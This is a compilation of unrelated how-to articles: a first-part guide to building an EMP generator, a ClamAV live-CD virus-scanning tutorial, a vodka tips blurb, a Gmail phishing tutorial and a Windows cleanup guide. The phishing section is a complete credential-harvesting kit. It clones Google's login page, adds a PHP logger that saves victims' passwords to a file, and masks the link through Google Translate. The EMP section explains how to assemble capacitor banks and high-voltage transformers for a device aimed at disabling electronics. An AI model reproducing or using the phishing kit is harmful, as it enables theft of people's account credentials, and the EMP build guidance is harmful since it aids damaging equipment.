In this series, I'll be exploring electromagnetic weapons: how to build them, their function and application to the future, and the amazing possibilities electromagnetism has to offer. In today's segment, we'll go into the electromagnetic pulse generator, or EMP. You've probably heard of these before, and their devastating effects on electronics. A simple EMP consists of a capacitor, transformer, trigger, and coil of copper wire. This, when triggered, would produce an intense magnetic field for a brief period, similar to a coil gun (see this article for more info). On a small scale, this would be enough to reset a calculator or electronic clock, but not enough to be of any use. However, it is quite easy to make a more effective one (at close range), with a few more components, and time. I'll be going over capacitors and transformers in this article, and discussing which are most applicable to an EMP. 

Capacitors

There are many kinds of capacitors, but I'll categorize them in "electrolyte" and "non-electrolyte". These types are represented by symbols: 

In a way, capacitors are quite similar to batteries. They both store electrical energy; however, there is a major difference. That is, capacitors only STORE electrons, never produce them. In a battery, a chemical reaction between two terminals and an acidic solution PRODUCES electrons. Inside the capacitor, the terminals connect to two metal plates separated by a non-conducting substance, or dielectric.

It's quite easy to make a capacitor from two pieces of aluminium foil and a piece of paper or plastic, like a leyden jar (see this article on how to make a simple leyden jar shocker). Depending on the voltage rating and capacitance rating, capacitors can be as small as a grain of rice, or as large as a garbage can and bigger. For a practical DIY EMP, a simple 5000uf 400V capacitor (or capacitor bank) would be legitimate. There are two ways to create a capacitor bank; series or parallel. This article explains the differences in series and parallel quite well.

A capacitor bank for an EMP should have capacitors linked together in parallel. This increases the capacitance and reduces electrolyte damage. For example, if you had six capacitors at 650uf 400V each in parallel, your final capacitance and voltage would be 3900uf 400V. The voltage does not change, but the capacitance increases. The image below is a circuit diagram representation of capacitors in parallel. Your capacitor bank should be similar (if not exact) in design. Also, keep in mind electrolyte capacitors have a positive and a negative (polarity). The white line on an electrolyte capacitor represents negative, ensuring your capacitor bank has an orderly, constant polarity. 

Transformers

Now that you have the storage availability, what about filling it? For that, you'll need a transformer. A transformer takes electricity and basically shifts around the voltage: current ratio. In a transformer, there is generally a primary winding/coil, and a secondary winding/coil. They rarely are made up of exact gauge/number of windings, and usually contain a core made out of ferrite or metal.

A transformer turns electricity into a magnetic field with a coil of copper, then back into electricity again using another coil. You'll need a fairly powerful high voltage transformer to fill your capacitor bank quickly, a MOT (microwave transformer) or ZVS flyback transformer would work nicely, if properly used (these are VERY DANGEROUS and can KILL YOU INSTANTLY). Of course, you'll need a DC voltage source to charge your capacitor bank, to ensure you have a diode (or similar rectification device). The circuit symbol for a transformer looks like this: 

The two outside "humps" or coils represent inductors, and the center portion represents a core. Most (all) flyback transformers have a ferrite core, and most MOTs have a steel or similar metal core. For more information about transformers, see here. 

In part two, I'll be covering switches and coils. Stay tuned! 

Warnings

• When working with voltage of any kind, always be careful. Capacitors and transformers can be deadly if misused. 
• Have RESPECT for electricity! Electrons may be light, but they can pack a punch!
• I am not responsible for any danger or harm you cause yourself

Image via Hacked Gadgets

Many windows users, if not all, run into a virus infection once in a while. This is unavoidable when using Microsoft's operating system. Without digressing too much, the fact that Windows is such a popular OS with no controlled software sources makes it easy for viruses and malware to spread. And while there's a plethora of antivirus tools for Windows, sometimes infections (such as certain scareware) can disable the install and/or use of antivirus systems and render your OS unusable until cleared.

In this post, I will show you a surefire method on how to scan for viruses in your Windows OS by using a Linux live CD or a Linux live USB.

Requirements

• A Linux Live ISO—Some popular choices are Ubuntu, ArchBang, #!, Puppy Linux, Mint and so on. Any live cd/dvd will do.
• A blank DVD/CD or a 1GB or greater capacity USB
• For DVD burning—download IMGBurn
• For USB creation—use unetbootin
• Very basic knowledge of Linux preferred, but not essential

Step 1 Beginning

To begin, it would be a good idea to identify just how usable your Windows install is while infected. If you are able to install IMGBurn or use unet, that's good. Otherwise, use a friend's PC or that of a family member.

Step 1 (A):

If you are using a DVD, run IMGBurn and insert a blank DVD into your DVD tray.

Select "Write image file to disc". Under "Source", select the downloaded Linux ISO image, select "write speed x2". (I found it to be the optimal speed for bootable DVDs. If your DVD supports 4x and not 2x, choose 4.)

Once done, finalize the write and restart your PC.

On most systems, once your BIOS is loading, you need to click either F12 or F9 a couple of times to go into the boot device selection screen. As these are different depending on your motherboard model and BIOS type, I will not attempt to post screen shots of this process, as it is VERY likely what you see will NOT match my SS.

Once inside the boot selection screen, choose CD/DVD drive and press enter.

This will load the Linux bootloader and let you select the instance type. ''Default'' or ''Live'' is usually best.

Step 1 (B):

If using UNETBOOTIN, in the main screen, use ISO Image and browse to where you downloaded your ISO. Select it.

Then at the bottom of the program window, select the letter of the drive which corresponds to where you inserted your USB.

To know which letter it is, go into ''My Computer'' and see which letter is assigned to the USB.

If the USB is not empty, I suggest you give it a quick format and then press "OK".

Once the installation is finished, you can reboot and repeat the steps I described in 1 (A) to boot into the live system via boot device selection.

Step 2 Installing ClamAV

For this exercise, we will be using clamAV, an open source antivirus program designed for use in Linux, Windows, and as a portable AV.

It is completely free and has very good community support.

I will be using two Linux systems for this tutorial: Ubuntu (the most user-friendly Linux distribution on the market—Sorry Matthew! Had to do it for the newbies...) and CrunchBang (my favorite distro at the moment). However, this will work on all systems.

For Ubuntu, press CTRL+ALT+T to bring up your terminal and type in:

sudo apt-get install clamav

This will install the base package for ClamAV, the virus definitions, and a few other dependencies.

Once this is installed, you will notice that there is no GUI for it. Which means that you can only use it from your terminal. Well, we will just have to download a GUI.

Open up firefox or whicever browser is in the live CD and enter/copy/click this URL:

http://sourceforge.net/projects/clamtk/files/ClamTk/4.36/

For Ubuntu, select the *.DEB package in the list and download it.

For Linux distros that do not use .DEB (Debian) packages, you will have to install it from the tar.gz zip file.

Once the file is done downloading, execute it and it will be opened by the system's package manager. Install it and you are done!

Warning!

• When I was installing the CLAMTK GUI, I had an unresolvable dependency issue and could not install the scanner GUI until I installed the "libdate-manip-perl" package. To do this, just go into the package manager and enter "libdate-manip-perl" as a search term, download and install it.

Step 3 Scanning your OS

Once you have installed the scanner GUI, go into your terminal and type in "clamtk" or find the app in your installed applications directory.

Run the scanner and you will be presented with a window which lets you select multiple scanning methods. A single file, a directory and so forth...

For this example we will scan a directory, so select ''Scan directory'' and browse to your Windows OS. (Read below on how to do it).

In my ''run'' I just selected "scan directory" and clicked on the main HDD (shown in the file manager as a 500GB filesystem, meaning this is my main HDD). From there, you will see the familiar—Users folder, in which you can go into your Named folder and to wherever you need the scanner to point.

My example was /users/admin/desktop/mydrive <--- which was a folder with backups of my USB key.

After this, the scanner will do its magic, and if any threats are found it will notify you of what they are and how to dispose of them.

It's that simple!

Step 4 Additional Example on Crunchbang (#!)

Disclaimer: Pardon the ''Pedobear" terminal ASCII. I found it hilarious so I kept it.

Installing clamAV (same syntax - sudo apt-get install clamav):

Downloading ClamTK from sourceforge:

Installing the DEB package:

Running ClamTK (just run the terminal and enter ''clamtk''):

And that's it.

Final Notes:

I hope the above article was useful and helped you weed out a nasty infection or two. This is a great method of utilising a scanner without having to actually go into the system itself and clean it that way. It is a good method for a couple of reasons: for one, you will not be held back by any detrimental effects caused by the infection; number two, it's advantageous to using safe mode as some AV scanners do not work very well in Windows safe mode. Some of their drivers do not get loaded properly or at all. Scanning the main OS as if it were a external HDD eliminates these problems.

A few pointers in staying safe on Windows:

• Install a good antivirus system and/or firewall. A good Firewall and AV combo is COMODO, but it's quite needy in terms of instructing your environment and the programs you consider safe. As the engine behind comodo has execution prevention, sandboxing, and many other advanced features, it is not suited for newbie users. Give their free internet security suite a spin to see if you like it. Other AV systems that come highly recommended are NOD32, Kaspersky, Avast!.
• Be wary of programs that you download, and scan all downloads before opening/executing.
• Only download installers/exe's from trusted sources or at least ones that come recommended.
• Do not open email attachments that contain the file extension ".exe".
• Use common sense—if you do not know what an executable (.exe) does, do NOT run it.

If you are unsure, google the file in question and see if other users have come across the file and check up on their experiences. This goes for viruses as well. If you have an infection, google it to find info on it, you are likely to stumble upon a solution.

And lastly, if you somehow managed to catch something so horrible no method of removal works, reinstall your Windows and be more careful next time.

Post-scriptum

Any comments and questions regarding safe use of your OS can always be directed to our forum. You can also ask them in IRC.

Hope this guide helps you.

Best regards.

Mr F.

Who would have suspected that vodka had so many practical uses? Vodka can alleviate the sting of a jellyfish, treat poison ivy rash, and help relieve toothaches. For using vodka around the house, soak a clean rag and use it to get rid of bathroom mold, clean your kitchen and bathroom fixtures, and keep your clothes smelling fresh.

Got your own non-alcoholic uses for vodka that haven't been covered here? Share with us by commenting below. 

Click on image below to enlarge.

Google is our friend, but it still has its flaws as everything tends to. A little known flaw within the media giant allows phishing to take place on Google accounts that would completely bypass advanced web protection programs in user's browsers—as well as other protections that have been put in place by Google. How would it do this? The domain will read as if it is through Google itself.

It also plays on human psychology, because the domain appears to be a trusted one that you would visit rather regularly. This kind of phishing allows people to steal credentials in plain-text, and by using this method, said hackers likely do so without anyone realizing.

Requirements

• A webhosting account
• Cpanel access to the webhost

Step 1 Create a Gmail Phishing Page

First, we need to make a phishing page to prepare.

1. Open up a text document using notepad, or your choice in text editors.
2. Go to the Google login page.
3. Right-click somewhere on the page, and click View page source.
4. Copy all of the contents of the source code and paste them into your text document.
5. Hit ctrl + f, and search for "action=" and change the method to "GET", and the text to the right of "action=" to "log.php".
6. Click File > Save as and save it with the name "index.php" (make sure to click the drop-down menu to select "all files" if it's not selected already).
7. Make a new text file, and paste the below as the contents (paste the raw text, not the numbered). This is the file written in PHP that logs the victim's login details.
   <?php
   $handle = fopen("passwords.txt", "a");
   foreach($_GET as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
   }
   fwrite($handle, "\r\n");
   fclose($handle);
   exit;
   ?>
8. Save the file as "log.php". Again, make sure "all files" is selected in the file type drop-down menu.
9. Log in to your hosting account, and upload both files to the root of your website (not in a folder).
10. When credentials are logged, they will be in a file called "passwords.txt" in the root of your website. Check the box next to the "passwords.txt" file when you get some logs, and click chmod. Change the file to 466 permissions, so other people can't read the victim's passwords.

Step 2 Manipulating Google

How exactly does the manipulation work behind this? Google Translator. Google translator has a vulnerability that if an attacker creates a fake gmail login page and then translates it with the tool, they would get a perfectly crafted link masked by Google itself. Check out this URL for an example of a phishing page that was created and then masked after using the translation tool.

This fools users into thinking the page is legit. I mean, look at the URL:

1. Go to Google translate.
2. Translate your page from a different language into English.
3. Click the link and test.

See how frighteningly easy it is to manipulate a website even as large as Google? Keep safe by always analyzing that URL.

Want more Null Byte?

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Image via kyrion

Today's article serves as a general guide to keeping Windows 7 and Vista clean. The goal is to clean up your messy computer and have it running at maximum performance in no time. The question at hand is—what is your computer's performance like? 

Not great? Do you think it could be as a result of not taking good care of your computer?  If so, then this article is for you! 

Step 1 Toolbars & Bloatware

The very first step is to remove unnecessary items from the computer, such as items that came pre-installed when you brought it. These can include (but not limited to) trial games and antivirus programs. The general rule is: Any program that comes as a trial or something you must pay to use—remove it!

Toolbars are everywhere. These can be sneaky little buggers. Most toolbars come from installation packs. Toolbars, when installed, can quite often be hard to remove from the system, so keep a careful eye on your installation packs. NEVER choose the recommended installation method. It is advised to always choose the advanced option, as this is where you'll find most toolbars hiding. 

CNET's Download.com, a reputable organisation, has many great downloads. But let's study this a bit more. Why do programs come packed with toolbars, and sometimes other software? The answer is pretty obvious—it's called advertising. Small companies will often go to large sites that receive lots of downloads and ask to advertise their products in the downloads. So in this case, Blekko would have gone to CNET and offered a sum of money to advertise. In return, Blekko gets more publicity and buys more customers. 

Notice how the following are checked by default in the above picture? This is because many people, including me a few years back, click next, next, next without reading. Is this you? Then stop. Because you could be greeted with toolbars that are difficult to remove, malware, or even open your home page the next morning to see Blekko's home page. So, slow down and read.  

Now, another interesting thing in the above photograph is that the marketers also thought about those who DO stop and read. So, in a last attempt to buy customers, they added "special offer" in capitals to ensure it stands out. Further, the "recommended" was in bold. Don't be so quick to believe that "recommended" necessarily means a great product, so think twice before clicking next. In my personal opinion, toolbars are pointless. They slow down the computer and the browser. They honestly cause more problems then they fix. 

Step 2 Installing Cleaning Software

The next step is to install CCleaner and CCEnhancer. CCleaner which is formally known as CrapCleaner is probably the best cleaning tool out there. CCEnhancer isn't associated with the CCleaner development team in any way or form, however this tool adds an additional 500 programs to CCleaner for it to clean. 

The most common question I get is: What should be checked? This is a highly configurable program, so there is no direct answer for this question. I have personally checked everything but "wipe free space", as that doesn't need to be done often (and this can take hours to complete when checked). I have also not bothered with "Windows Backup*", as I need my computer back-ups. 

Step 3 Using Alternative Programs

Let's take a look at what alternative programs are out there to replace all those resource hogs. 

• Microsoft Word: The best free alternative is Google Docs. 
  Competitors: OpenOffice, LibreOffice & Zoho Docs
• Adobe Reader: The best free alternative is Foxit Reader. 
  Competitors: Nitro PDF Reader & Sumatra PDF
• Internet Explorer: The best free alternative is Firefox (IMHO).
  Competitors: Opera, Google Chrome, Comodo Dragon, SeaMonkey & Waterfox. 
• Adobe Photoshop: The best free alternative is RawTherapee.
  Competitors: GIMP & Picasa
• Windows Live Messenger: The best free alternative is Skype.
  Competitors: Meebo, AIM, Yahoo! Messenger & Pidgin
• Windows Media Player: The best free alternative is VLC Media Player.
  Competitors: Media Player Classic & KMPlayer

Step 4 Some General Tweaks

Remember, a hard drive that is close to full (or is in the red zone, as shown in the picture at the top of this article) means you need to reduce clutter on your hard-drive or buy an external (or a second internal) hard-drive. I recommend an SSD over HDD. 

• Task #1: Change the default size of recycle bin. 

Reducing the size adds extra space to your computer, but it will also mean bigger files cannot fit into the recycle bin (should the files exceed that limit).

I recommend changing the maximum size for (C:) Drive to 2048MB. 

• Task #2: Disable Hibernate, as this can use a significant portion of space. 

To disable Hibernate, navigate to Windows -> search -> "CMD" and click "Run as Administrator".  In the command prompt type "powercfg -h off" -> enter and then you're done. To enable again, enter "powercfg -h on" in the Command Prompt. 

• Task #3: Vista and W7 Compression. (Note: this is not the same as a zip file—also note that you might notice a slowing in performance when you open a compressed folder). Do you download a lot? Maybe you're a photographer and have thousands of photographs on the computer. How can you compress them so they aren't using up so much space? It is as simple as right clicking a folder with contents in it or a file -> click advanced, and then "compress contents to save disk space".  To decompress the contents, just deselect it. 

I could explain so many more ways to free up space and speed the computer up, but honestly, that would be one very long post! To find out more ways do a Google Search, or check out some great articles on WonderHowTo. 

Resources

• Check out WinDirStat—it analyzes the computer and tells you what is taking up all your computer's space.  

Image via Clean My PC